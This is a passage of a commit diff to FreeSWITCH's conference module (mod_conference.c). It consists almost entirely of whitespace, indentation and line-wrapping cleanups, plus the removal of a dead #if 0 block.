switch_mutex_lock(conference->member_mutex);
for (member = conference->members; member; member = member->next) {
@@ -3589,7 +3589,7 @@
uint32_t count = 0;
switch_xml_t x_tag;
int toff = 0;
-
+
if (switch_test_flag(member, MFLAG_NOCHANNEL)) {
continue;
}
@@ -3599,7 +3599,7 @@
profile = switch_channel_get_caller_profile(channel);
name = switch_channel_get_name(channel);
-
+
x_member = switch_xml_add_child_d(x_members, "member", moff++);
switch_assert(x_member);
@@ -3609,8 +3609,8 @@
add_x_tag(x_member, "uuid", uuid, toff++);
add_x_tag(x_member, "caller_id_name", profile->caller_id_name, toff++);
add_x_tag(x_member, "caller_id_number", profile->caller_id_number, toff++);
-
+
x_flags = switch_xml_add_child_d(x_member, "flags", count++);
switch_assert(x_flags);
@@ -3625,16 +3625,16 @@
x_tag = switch_xml_add_child_d(x_flags, "has_video", count++);
switch_xml_set_txt_d(x_tag, switch_channel_test_flag(switch_core_session_get_channel(member->session), CF_VIDEO) ? "true" : "false");
-
+
x_tag = switch_xml_add_child_d(x_flags, "has_floor", count++);
switch_xml_set_txt_d(x_tag, (member == member->conference->floor_holder) ? "true" : "false");
-
+
x_tag = switch_xml_add_child_d(x_flags, "is_moderator", count++);
switch_xml_set_txt_d(x_tag, switch_test_flag(member, MFLAG_MOD) ? "true" : "false");
-
+
x_tag = switch_xml_add_child_d(x_flags, "end_conference", count++);
switch_xml_set_txt_d(x_tag, switch_test_flag(member, MFLAG_ENDCONF) ? "true" : "false");
-
+
}
switch_mutex_unlock(conference->member_mutex);
@@ -3650,13 +3650,13 @@
x_conferences = switch_xml_new("conferences");
switch_assert(x_conferences);
-
+
if (conference == NULL) {
switch_mutex_lock(globals.hash_mutex);
for (hi = switch_hash_first(NULL, globals.conference_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, NULL, NULL, &val);
conference = (conference_obj_t *) val;
-
+
x_conference = switch_xml_add_child_d(x_conferences, "conference", off++);
switch_assert(conference);
@@ -4009,7 +4009,7 @@
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
-
+
if (conference) {
conference_outcall_bg(conference, NULL, NULL, argv[2], 60, NULL, argv[4], argv[3], uuid_str);
} else {
@@ -4049,7 +4049,7 @@
switch_channel_t *channel;
switch_event_t *event;
switch_xml_t cxml = NULL, cfg = NULL, profiles = NULL;
-
+
if (!id || !(member = conference_member_get(conference, id))) {
stream->write_function(stream, "No Member %u in conference %s.\n", id, conference->name);
continue;
@@ -4154,7 +4154,7 @@
}
unlock_member(member);
-
+
stream->write_function(stream, "OK Member '%d' sent to conference %s.\n", member->id, argv[2]);
/* tell them what happened */
@@ -4177,7 +4177,7 @@
}
done:
-
+
if (locked) {
switch_mutex_unlock(globals.setup_mutex);
locked = 0;
@@ -4269,43 +4269,43 @@
/* API Interface Function sub-commands */
/* Entries in this list should be kept in sync with the enum above */
static api_command_t conf_api_sub_commands[] = {
- {"list", (void_fn_t) &conf_api_sub_list, CONF_API_SUB_ARGS_SPLIT, "<confname> list [delim <string>]"},
- {"xml_list", (void_fn_t) &conf_api_sub_xml_list, CONF_API_SUB_ARGS_SPLIT, "<confname> xml_list"},
- {"energy", (void_fn_t) &conf_api_sub_energy, CONF_API_SUB_MEMBER_TARGET,
+ {"list", (void_fn_t) & conf_api_sub_list, CONF_API_SUB_ARGS_SPLIT, "<confname> list [delim <string>]"},
+ {"xml_list", (void_fn_t) & conf_api_sub_xml_list, CONF_API_SUB_ARGS_SPLIT, "<confname> xml_list"},
+ {"energy", (void_fn_t) & conf_api_sub_energy, CONF_API_SUB_MEMBER_TARGET,
"<confname> energy <member_id|all|last> [<newval>]"},
- {"volume_in", (void_fn_t) &conf_api_sub_volume_in, CONF_API_SUB_MEMBER_TARGET,
+ {"volume_in", (void_fn_t) & conf_api_sub_volume_in, CONF_API_SUB_MEMBER_TARGET,
"<confname> volume_in <member_id|all|last> [<newval>]"},
- {"volume_out", (void_fn_t) &conf_api_sub_volume_out, CONF_API_SUB_MEMBER_TARGET,
+ {"volume_out", (void_fn_t) & conf_api_sub_volume_out, CONF_API_SUB_MEMBER_TARGET,
"<confname> volume_out <member_id|all|last> [<newval>]"},
- {"play", (void_fn_t) &conf_api_sub_play, CONF_API_SUB_ARGS_SPLIT, "<confname> play <file_path> [async|<member_id>]"},
- {"say", (void_fn_t) &conf_api_sub_say, CONF_API_SUB_ARGS_AS_ONE, "<confname> say <text>"},
- {"saymember", (void_fn_t) &conf_api_sub_saymember, CONF_API_SUB_ARGS_AS_ONE,
+ {"play", (void_fn_t) & conf_api_sub_play, CONF_API_SUB_ARGS_SPLIT, "<confname> play <file_path> [async|<member_id>]"},
+ {"say", (void_fn_t) & conf_api_sub_say, CONF_API_SUB_ARGS_AS_ONE, "<confname> say <text>"},
+ {"saymember", (void_fn_t) & conf_api_sub_saymember, CONF_API_SUB_ARGS_AS_ONE,
"<confname> saymember <member_id> <text>"},
- {"stop", (void_fn_t) &conf_api_sub_stop, CONF_API_SUB_ARGS_SPLIT,
+ {"stop", (void_fn_t) & conf_api_sub_stop, CONF_API_SUB_ARGS_SPLIT,
"<confname> stop <[current|all|async|last]> [<member_id>]"},
- {"dtmf", (void_fn_t) &conf_api_sub_dtmf, CONF_API_SUB_MEMBER_TARGET,
+ {"dtmf", (void_fn_t) & conf_api_sub_dtmf, CONF_API_SUB_MEMBER_TARGET,
"<confname> dtmf <[member_id|all|last]> <digits>"},
- {"kick", (void_fn_t) &conf_api_sub_kick, CONF_API_SUB_MEMBER_TARGET, "<confname> kick <[member_id|all|last]>"},
- {"mute", (void_fn_t) &conf_api_sub_mute, CONF_API_SUB_MEMBER_TARGET, "<confname> mute <[member_id|all]|last>"},
- {"unmute", (void_fn_t) &conf_api_sub_unmute, CONF_API_SUB_MEMBER_TARGET,
+ {"kick", (void_fn_t) & conf_api_sub_kick, CONF_API_SUB_MEMBER_TARGET, "<confname> kick <[member_id|all|last]>"},
+ {"mute", (void_fn_t) & conf_api_sub_mute, CONF_API_SUB_MEMBER_TARGET, "<confname> mute <[member_id|all]|last>"},
+ {"unmute", (void_fn_t) & conf_api_sub_unmute, CONF_API_SUB_MEMBER_TARGET,
"<confname> unmute <[member_id|all]|last>"},
- {"deaf", (void_fn_t) &conf_api_sub_deaf, CONF_API_SUB_MEMBER_TARGET, "<confname> deaf <[member_id|all]|last>"},
- {"undeaf", (void_fn_t) &conf_api_sub_undeaf, CONF_API_SUB_MEMBER_TARGET,
+ {"deaf", (void_fn_t) & conf_api_sub_deaf, CONF_API_SUB_MEMBER_TARGET, "<confname> deaf <[member_id|all]|last>"},
+ {"undeaf", (void_fn_t) & conf_api_sub_undeaf, CONF_API_SUB_MEMBER_TARGET,
"<confname> undeaf <[member_id|all]|last>"},
- {"relate", (void_fn_t) &conf_api_sub_relate, CONF_API_SUB_ARGS_SPLIT,
+ {"relate", (void_fn_t) & conf_api_sub_relate, CONF_API_SUB_ARGS_SPLIT,
"<confname> relate <member_id> <other_member_id> [nospeak|nohear|clear]"},
- {"lock", (void_fn_t) &conf_api_sub_lock, CONF_API_SUB_ARGS_SPLIT, "<confname> lock"},
- {"unlock", (void_fn_t) &conf_api_sub_unlock, CONF_API_SUB_ARGS_SPLIT, "<confname> unlock"},
- {"dial", (void_fn_t) &conf_api_sub_dial, CONF_API_SUB_ARGS_SPLIT,
+ {"lock", (void_fn_t) & conf_api_sub_lock, CONF_API_SUB_ARGS_SPLIT, "<confname> lock"},
+ {"unlock", (void_fn_t) & conf_api_sub_unlock, CONF_API_SUB_ARGS_SPLIT, "<confname> unlock"},
+ {"dial", (void_fn_t) & conf_api_sub_dial, CONF_API_SUB_ARGS_SPLIT,
"<confname> dial <endpoint_module_name>/<destination> <callerid number> <callerid name>"},
- {"bgdial", (void_fn_t) &conf_api_sub_bgdial, CONF_API_SUB_ARGS_SPLIT,
+ {"bgdial", (void_fn_t) & conf_api_sub_bgdial, CONF_API_SUB_ARGS_SPLIT,
"<confname> bgdial <endpoint_module_name>/<destination> <callerid number> <callerid name>"},
- {"transfer", (void_fn_t) &conf_api_sub_transfer, CONF_API_SUB_ARGS_SPLIT,
+ {"transfer", (void_fn_t) & conf_api_sub_transfer, CONF_API_SUB_ARGS_SPLIT,
"<confname> transfer <conference_name> <member id> [...<member id>]"},
- {"record", (void_fn_t) &conf_api_sub_record, CONF_API_SUB_ARGS_SPLIT, "<confname> record <filename>"},
- {"norecord", (void_fn_t) &conf_api_sub_norecord, CONF_API_SUB_ARGS_SPLIT, "<confname> norecord <[filename|all]>"},
- {"pin", (void_fn_t) &conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, "<confname> pin <pin#>"},
- {"nopin", (void_fn_t) &conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, "<confname> nopin"},
+ {"record", (void_fn_t) & conf_api_sub_record, CONF_API_SUB_ARGS_SPLIT, "<confname> record <filename>"},
+ {"norecord", (void_fn_t) & conf_api_sub_norecord, CONF_API_SUB_ARGS_SPLIT, "<confname> norecord <[filename|all]>"},
+ {"pin", (void_fn_t) & conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, "<confname> pin <pin#>"},
+ {"nopin", (void_fn_t) & conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, "<confname> nopin"},
};
#define CONFFUNCAPISIZE (sizeof(conf_api_sub_commands)/sizeof(conf_api_sub_commands[0]))
@@ -4553,8 +4553,10 @@
/* establish an outbound call leg */
- if (switch_ivr_originate(session, &peer_session, cause, bridgeto, timeout, NULL, cid_name, cid_num, NULL, NULL, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot create outgoing channel, cause: %s\n", switch_channel_cause2str(*cause));
+ if (switch_ivr_originate(session, &peer_session, cause, bridgeto, timeout, NULL, cid_name, cid_num, NULL, NULL, SOF_NONE, NULL) !=
+ SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot create outgoing channel, cause: %s\n",
+ switch_channel_cause2str(*cause));
if (caller_channel) {
switch_channel_hangup(caller_channel, *cause);
}
@@ -4639,7 +4641,7 @@
if (call) {
switch_call_cause_t cause;
switch_event_t *event;
-
+
conference_outcall(call->conference, call->conference_name,
call->session, call->bridgeto, call->timeout, call->flags, call->cid_name, call->cid_num, &cause);
@@ -4707,7 +4709,7 @@
if (conference_name) {
call->conference_name = strdup(conference_name);
}
-
+
if (call_uuid) {
call->uuid = strdup(call_uuid);
}
@@ -4722,7 +4724,8 @@
}
/* Play a file */
-static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf, uint32_t buflen)
+static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf,
+ uint32_t buflen)
{
uint32_t x = 0;
switch_status_t status = SWITCH_STATUS_SUCCESS;
@@ -4792,7 +4795,7 @@
char *argv[10] = { 0 };
int i, argc = 0;
- for(p = dup; p && *p; p++) {
+ for (p = dup; p && *p; p++) {
if (*p == ',') {
*p = '|';
}
@@ -4800,7 +4803,7 @@
argc = switch_separate_string(dup, '|', argv, (sizeof(argv) / sizeof(argv[0])));
- for(i = 0; i < argc && argv[i]; i++) {
+ for (i = 0; i < argc && argv[i]; i++) {
if (!strcasecmp(argv[i], "mute")) {
*f &= ~MFLAG_CAN_SPEAK;
} else if (!strcasecmp(argv[i], "deaf")) {
@@ -4834,7 +4837,7 @@
char *argv[10] = { 0 };
int i, argc = 0;
- for(p = dup; p && *p; p++) {
+ for (p = dup; p && *p; p++) {
if (*p == ',') {
*p = '|';
}
@@ -4842,7 +4845,7 @@
argc = switch_separate_string(dup, '|', argv, (sizeof(argv) / sizeof(argv[0])));
- for(i = 0; i < argc && argv[i]; i++) {
+ for (i = 0; i < argc && argv[i]; i++) {
if (!strcasecmp(argv[i], "wait-mod")) {
*f |= CFLAG_WAIT_MOD;
} else if (!strcasecmp(argv[i], "video-floor-only")) {
@@ -4957,7 +4960,7 @@
static int setup_media(conference_member_t *member, conference_obj_t *conference)
{
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
switch_core_session_get_read_impl(member->session, &read_impl);
switch_core_session_reset(member->session, SWITCH_TRUE, SWITCH_FALSE);
@@ -5025,8 +5028,7 @@
read_impl.microseconds_per_packet / 1000,
1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, member->pool) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG,
- "Raw Codec Activation Success L16@%uhz 1 channel %dms\n",
- conference->rate, read_impl.microseconds_per_packet / 1000);
+ "Raw Codec Activation Success L16@%uhz 1 channel %dms\n", conference->rate, read_impl.microseconds_per_packet / 1000);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG, "Raw Codec Activation Failed L16@%uhz 1 channel %dms\n",
conference->rate, read_impl.microseconds_per_packet / 1000);
@@ -5047,15 +5049,15 @@
return 0;
- codec_done1:
+ codec_done1:
switch_core_codec_destroy(&member->read_codec);
- codec_done2:
+ codec_done2:
switch_core_codec_destroy(&member->write_codec);
- done:
+ done:
return -1;
-
+
}
@@ -5104,7 +5106,7 @@
if ((flags_str = strstr(mydata, flags_prefix))) {
char *p;
- *((char *)flags_str) = '\0';
+ *((char *) flags_str) = '\0';
flags_str += strlen(flags_prefix);
if ((p = strchr(flags_str, '}'))) {
*p = '\0';
@@ -5143,7 +5145,7 @@
} else {
profile_name = "default";
}
-
+
#if 0
if (0) {
member.dtmf_parser = conference->dtmf_parser;
@@ -5234,7 +5236,7 @@
if (!conference) {
/* couldn't find the conference, create one */
conference = conference_new(conf_name, xml_cfg, NULL);
-
+
if (!conference) {
goto done;
}
@@ -5254,7 +5256,7 @@
if (zstr(conference->perpetual_sound)) {
conference->perpetual_sound = switch_core_strdup(conference->pool, switch_channel_get_variable(channel, "conference_perpetual_sound"));
}
-
+
/* Set the minimum number of members (once you go above it you cannot go below it) */
conference->min = 1;
@@ -5263,7 +5265,7 @@
/* Start the conference thread for this conference */
launch_conference_thread(conference);
- } else { /* setup user variable */
+ } else { /* setup user variable */
switch_channel_set_variable(channel, "conference_name", conference->name);
}
@@ -5290,23 +5292,23 @@
/* Answer the channel */
switch_channel_answer(channel);
-
- /* look for PIN in channel variable first. If not present or invalid revert to prompting user */
+
+ /* look for PIN in channel variable first. If not present or invalid revert to prompting user */
supplied_pin_value = switch_core_strdup(conference->pool, switch_channel_get_variable(channel, "supplied_pin"));
- if (!zstr(supplied_pin_value)){
+ if (!zstr(supplied_pin_value)) {
char *supplied_pin_value_start;
int i = 0;
- if ((supplied_pin_value_start = (char *)switch_stristr(cf_pin_url_param_name, supplied_pin_value))){
+ if ((supplied_pin_value_start = (char *) switch_stristr(cf_pin_url_param_name, supplied_pin_value))) {
/* pin supplied as a URL parameter, move pointer to start of actual pin value */
supplied_pin_value = supplied_pin_value_start + strlen(cf_pin_url_param_name);
}
- while (*supplied_pin_value != 0 && *supplied_pin_value != ';'){
+ while (*supplied_pin_value != 0 && *supplied_pin_value != ';') {
pin_buf[i++] = *supplied_pin_value++;
}
pin_valid = (strcmp(pin_buf, dpin) == 0);
memset(pin_buf, 0, sizeof(pin_buf));
}
-
+
if (!conference->pin_sound) {
conference->pin_sound = switch_core_strdup(conference->pool, "conference/conf-pin.wav");
}
@@ -5317,16 +5319,17 @@
while (!pin_valid && pin_retries && status == SWITCH_STATUS_SUCCESS) {
switch_status_t pstatus = SWITCH_STATUS_FALSE;
-
+
/* be friendly */
if (conference->pin_sound) {
pstatus = conference_local_play_file(conference, session, conference->pin_sound, 20, pin_buf, sizeof(pin_buf));
} else if (conference->tts_engine && conference->tts_voice) {
- pstatus = switch_ivr_speak_text(session, conference->tts_engine, conference->tts_voice, "please enter the conference pin number", NULL);
+ pstatus =
+ switch_ivr_speak_text(session, conference->tts_engine, conference->tts_voice, "please enter the conference pin number", NULL);
} else {
pstatus = switch_ivr_speak_text(session, "flite", "slt", "please enter the conference pin number", NULL);
}
-
+
if (pstatus != SWITCH_STATUS_SUCCESS && pstatus != SWITCH_STATUS_BREAK) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot ask the user for a pin, ending call");
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -5336,11 +5339,10 @@
if (strlen(pin_buf) < strlen(dpin)) {
char *buf = pin_buf + strlen(pin_buf);
char term = '\0';
-
+
status = switch_ivr_collect_digits_count(session,
buf,
- sizeof(pin_buf) - strlen(pin_buf),
- strlen(dpin) - strlen(pin_buf), "#", &term, 10000, 0, 0);
+ sizeof(pin_buf) - strlen(pin_buf), strlen(dpin) - strlen(pin_buf), "#", &term, 10000, 0, 0);
if (status == SWITCH_STATUS_TIMEOUT) {
status = SWITCH_STATUS_SUCCESS;
}
@@ -5441,7 +5443,7 @@
if (mflags & MFLAG_MINTWO) {
conference->min = 2;
}
-
+
/* Add the caller to the conference */
if (conference_add_member(conference, &member) != SWITCH_STATUS_SUCCESS) {
switch_core_codec_destroy(&member.read_codec);
@@ -5626,20 +5628,10 @@
} else {
return SWITCH_STATUS_SUCCESS;
}
-#if 0
- else {
- if (strcasecmp(argv[0], "help") == 0 || strcasecmp(argv[0], "commands") == 0) {
- stream.write_function(&stream, "%s\n", api_syntax);
- /* find a normal command */
- } else {
- conf_api_dispatch(conference, &stream, argc, argv, (const char *) body, 0);
- }
- }
-#endif
}
switch_safe_free(lbuf);
-
+
switch_core_chat_send(proto, CONF_CHAT_PROTO, to, hint && strchr(hint, '/') ? hint : from, "", stream.data, NULL, NULL);
switch_safe_free(stream.data);
@@ -5792,126 +5784,126 @@
/* parse the profile tree for param values */
if (cfg.profile)
- for (xml_kvp = switch_xml_child(cfg.profile, "param"); xml_kvp; xml_kvp = xml_kvp->next) {
- char *var = (char *) switch_xml_attr_soft(xml_kvp, "name");
- char *val = (char *) switch_xml_attr_soft(xml_kvp, "value");
- char buf[128] = "";
- char *p;
+ for (xml_kvp = switch_xml_child(cfg.profile, "param"); xml_kvp; xml_kvp = xml_kvp->next) {
+ char *var = (char *) switch_xml_attr_soft(xml_kvp, "name");
+ char *val = (char *) switch_xml_attr_soft(xml_kvp, "value");
+ char buf[128] = "";
+ char *p;
- if ((p = strchr(var, '_'))) {
- switch_copy_string(buf, var, sizeof(buf));
- for (p = buf; *p; p++) {
- if (*p == '_') {
- *p = '-';
+ if ((p = strchr(var, '_'))) {
+ switch_copy_string(buf, var, sizeof(buf));
+ for (p = buf; *p; p++) {
+ if (*p == '_') {
+ *p = '-';
+ }
}
+ var = buf;
}
- var = buf;
- }
- if (!strcasecmp(var, "rate") && !zstr(val)) {
- uint32_t tmp = atoi(val);
- if (tmp == 8000 || tmp == 12000 || tmp == 16000 || tmp == 24000 || tmp == 32000 || tmp == 48000) {
- rate = tmp;
+ if (!strcasecmp(var, "rate") && !zstr(val)) {
+ uint32_t tmp = atoi(val);
+ if (tmp == 8000 || tmp == 12000 || tmp == 16000 || tmp == 24000 || tmp == 32000 || tmp == 48000) {
+ rate = tmp;
+ }
+ } else if (!strcasecmp(var, "domain") && !zstr(val)) {
+ domain = val;
+ } else if (!strcasecmp(var, "interval") && !zstr(val)) {
+ uint32_t tmp = atoi(val);
+ if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
+ interval = tmp;
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "Interval must be multipe of 10 and less than %d, Using default of 20\n", SWITCH_MAX_INTERVAL);
+ }
+ } else if (!strcasecmp(var, "timer-name") && !zstr(val)) {
+ timer_name = val;
+ } else if (!strcasecmp(var, "tts-engine") && !zstr(val)) {
+ tts_engine = val;
+ } else if (!strcasecmp(var, "tts-voice") && !zstr(val)) {
+ tts_voice = val;
+ } else if (!strcasecmp(var, "enter-sound") && !zstr(val)) {
+ enter_sound = val;
+ } else if (!strcasecmp(var, "exit-sound") && !zstr(val)) {
+ exit_sound = val;
+ } else if (!strcasecmp(var, "alone-sound") && !zstr(val)) {
+ alone_sound = val;
+ } else if (!strcasecmp(var, "perpetual-sound") && !zstr(val)) {
+ perpetual_sound = val;
+ } else if (!strcasecmp(var, "moh-sound") && !zstr(val)) {
+ moh_sound = val;
+ } else if (!strcasecmp(var, "ack-sound") && !zstr(val)) {
+ ack_sound = val;
+ } else if (!strcasecmp(var, "nack-sound") && !zstr(val)) {
+ nack_sound = val;
+ } else if (!strcasecmp(var, "muted-sound") && !zstr(val)) {
+ muted_sound = val;
+ } else if (!strcasecmp(var, "mute-detect-sound") && !zstr(val)) {
+ mute_detect_sound = val;
+ } else if (!strcasecmp(var, "unmuted-sound") && !zstr(val)) {
+ unmuted_sound = val;
+ } else if (!strcasecmp(var, "locked-sound") && !zstr(val)) {
+ locked_sound = val;
+ } else if (!strcasecmp(var, "is-locked-sound") && !zstr(val)) {
+ is_locked_sound = val;
+ } else if (!strcasecmp(var, "is-unlocked-sound") && !zstr(val)) {
+ is_unlocked_sound = val;
+ } else if (!strcasecmp(var, "member-flags") && !zstr(val)) {
+ member_flags = val;
+ } else if (!strcasecmp(var, "conference-flags") && !zstr(val)) {
+ conference_flags = val;
+ } else if (!strcasecmp(var, "kicked-sound") && !zstr(val)) {
+ kicked_sound = val;
+ } else if (!strcasecmp(var, "pin") && !zstr(val)) {
+ pin = val;
+ } else if (!strcasecmp(var, "pin-sound") && !zstr(val)) {
+ pin_sound = val;
+ } else if (!strcasecmp(var, "bad-pin-sound") && !zstr(val)) {
+ bad_pin_sound = val;
+ } else if (!strcasecmp(var, "energy-level") && !zstr(val)) {
+ energy_level = val;
+ } else if (!strcasecmp(var, "caller-id-name") && !zstr(val)) {
+ caller_id_name = val;
+ } else if (!strcasecmp(var, "caller-id-number") && !zstr(val)) {
+ caller_id_number = val;
+ } else if (!strcasecmp(var, "caller-controls") && !zstr(val)) {
+ caller_controls = val;
+ } else if (!strcasecmp(var, "comfort-noise") && !zstr(val)) {
+ int tmp;
+ tmp = atoi(val);
+ if (tmp > 1 && tmp < 10000) {
+ comfort_noise_level = tmp;
+ } else if (switch_true(val)) {
+ comfort_noise_level = 1400;
+ }
+ } else if (!strcasecmp(var, "sound-prefix") && !zstr(val)) {
+ sound_prefix = val;
+ } else if (!strcasecmp(var, "max-members") && !zstr(val)) {
+ errno = 0; /* sanity first */
+ max_members = strtol(val, NULL, 0); /* base 0 lets 0x... for hex 0... for octal and base 10 otherwise through */
+ if (errno == ERANGE || errno == EINVAL || max_members < 0 || max_members == 1) {
+ /* a negative wont work well, and its foolish to have a conference limited to 1 person unless the outbound
+ * stuff is added, see comments above
+ */
+ max_members = 0; /* set to 0 to disable max counts */
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "max-members %s is invalid, not setting a limit\n", val);
+ }
+ } else if (!strcasecmp(var, "max-members-sound") && !zstr(val)) {
+ maxmember_sound = val;
+ } else if (!strcasecmp(var, "announce-count") && !zstr(val)) {
+ errno = 0; /* safety first */
+ announce_count = strtol(val, NULL, 0);
+ if (errno == ERANGE || errno == EINVAL) {
+ announce_count = 0;
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "announce-count is invalid, not anouncing member counts\n");
+ }
+ } else if (!strcasecmp(var, "suppress-events") && !zstr(val)) {
+ suppress_events = val;
+ } else if (!strcasecmp(var, "verbose-events") && !zstr(val)) {
+ verbose_events = val;
+ } else if (!strcasecmp(var, "auto-record") && !zstr(val)) {
+ auto_record = val;
}
- } else if (!strcasecmp(var, "domain") && !zstr(val)) {
- domain = val;
- } else if (!strcasecmp(var, "interval") && !zstr(val)) {
- uint32_t tmp = atoi(val);
- if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
- interval = tmp;
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
- "Interval must be multipe of 10 and less than %d, Using default of 20\n", SWITCH_MAX_INTERVAL);
- }
- } else if (!strcasecmp(var, "timer-name") && !zstr(val)) {
- timer_name = val;
- } else if (!strcasecmp(var, "tts-engine") && !zstr(val)) {
- tts_engine = val;
- } else if (!strcasecmp(var, "tts-voice") && !zstr(val)) {
- tts_voice = val;
- } else if (!strcasecmp(var, "enter-sound") && !zstr(val)) {
- enter_sound = val;
- } else if (!strcasecmp(var, "exit-sound") && !zstr(val)) {
- exit_sound = val;
- } else if (!strcasecmp(var, "alone-sound") && !zstr(val)) {
- alone_sound = val;
- } else if (!strcasecmp(var, "perpetual-sound") && !zstr(val)) {
- perpetual_sound = val;
- } else if (!strcasecmp(var, "moh-sound") && !zstr(val)) {
- moh_sound = val;
- } else if (!strcasecmp(var, "ack-sound") && !zstr(val)) {
- ack_sound = val;
- } else if (!strcasecmp(var, "nack-sound") && !zstr(val)) {
- nack_sound = val;
- } else if (!strcasecmp(var, "muted-sound") && !zstr(val)) {
- muted_sound = val;
- } else if (!strcasecmp(var, "mute-detect-sound") && !zstr(val)) {
- mute_detect_sound = val;
- } else if (!strcasecmp(var, "unmuted-sound") && !zstr(val)) {
- unmuted_sound = val;
- } else if (!strcasecmp(var, "locked-sound") && !zstr(val)) {
- locked_sound = val;
- } else if (!strcasecmp(var, "is-locked-sound") && !zstr(val)) {
- is_locked_sound = val;
- } else if (!strcasecmp(var, "is-unlocked-sound") && !zstr(val)) {
- is_unlocked_sound = val;
- } else if (!strcasecmp(var, "member-flags") && !zstr(val)) {
- member_flags = val;
- } else if (!strcasecmp(var, "conference-flags") && !zstr(val)) {
- conference_flags = val;
- } else if (!strcasecmp(var, "kicked-sound") && !zstr(val)) {
- kicked_sound = val;
- } else if (!strcasecmp(var, "pin") && !zstr(val)) {
- pin = val;
- } else if (!strcasecmp(var, "pin-sound") && !zstr(val)) {
- pin_sound = val;
- } else if (!strcasecmp(var, "bad-pin-sound") && !zstr(val)) {
- bad_pin_sound = val;
- } else if (!strcasecmp(var, "energy-level") && !zstr(val)) {
- energy_level = val;
- } else if (!strcasecmp(var, "caller-id-name") && !zstr(val)) {
- caller_id_name = val;
- } else if (!strcasecmp(var, "caller-id-number") && !zstr(val)) {
- caller_id_number = val;
- } else if (!strcasecmp(var, "caller-controls") && !zstr(val)) {
- caller_controls = val;
- } else if (!strcasecmp(var, "comfort-noise") && !zstr(val)) {
- int tmp;
- tmp = atoi(val);
- if (tmp > 1 && tmp < 10000) {
- comfort_noise_level = tmp;
- } else if (switch_true(val)) {
- comfort_noise_level = 1400;
- }
- } else if (!strcasecmp(var, "sound-prefix") && !zstr(val)) {
- sound_prefix = val;
- } else if (!strcasecmp(var, "max-members") && !zstr(val)) {
- errno = 0; /* sanity first */
- max_members = strtol(val, NULL, 0); /* base 0 lets 0x... for hex 0... for octal and base 10 otherwise through */
- if (errno == ERANGE || errno == EINVAL || max_members < 0 || max_members == 1) {
- /* a negative wont work well, and its foolish to have a conference limited to 1 person unless the outbound
- * stuff is added, see comments above
- */
- max_members = 0; /* set to 0 to disable max counts */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "max-members %s is invalid, not setting a limit\n", val);
- }
- } else if (!strcasecmp(var, "max-members-sound") && !zstr(val)) {
- maxmember_sound = val;
- } else if (!strcasecmp(var, "announce-count") && !zstr(val)) {
- errno = 0; /* safety first */
- announce_count = strtol(val, NULL, 0);
- if (errno == ERANGE || errno == EINVAL) {
- announce_count = 0;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "announce-count is invalid, not anouncing member counts\n");
- }
- } else if (!strcasecmp(var, "suppress-events") && !zstr(val)) {
- suppress_events = val;
- } else if (!strcasecmp(var, "verbose-events") && !zstr(val)) {
- verbose_events = val;
- } else if (!strcasecmp(var, "auto-record") && !zstr(val)) {
- auto_record = val;
}
- }
/* Set defaults and various paramaters */
@@ -5971,7 +5963,7 @@
}
conference->mflags = MFLAG_CAN_SPEAK | MFLAG_CAN_HEAR;
-
+
if (!zstr(moh_sound) && switch_is_moh(moh_sound)) {
conference->moh_sound = switch_core_strdup(conference->pool, moh_sound);
}
@@ -6085,7 +6077,7 @@
if (!zstr(verbose_events) && switch_true(verbose_events)) {
conference->verbose_events = 1;
}
-
+
/* caller control configuration chores */
if (switch_ivr_digit_stream_parser_new(conference->pool, &conference->dtmf_parser) == SWITCH_STATUS_SUCCESS) {
@@ -6116,7 +6108,7 @@
switch_core_hash_insert(globals.conference_hash, conference->name, conference);
switch_mutex_unlock(globals.hash_mutex);
- end:
+ end:
switch_mutex_unlock(globals.hash_mutex);
@@ -6277,7 +6269,8 @@
switch_mutex_init(&globals.setup_mutex, SWITCH_MUTEX_NESTED, globals.conference_pool);
/* Subscribe to presence request events */
- if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
+ if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.node) !=
+ SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't subscribe to presence request events!\n");
return SWITCH_STATUS_GENERR;
}
Modified: freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c (16578 => 16579)
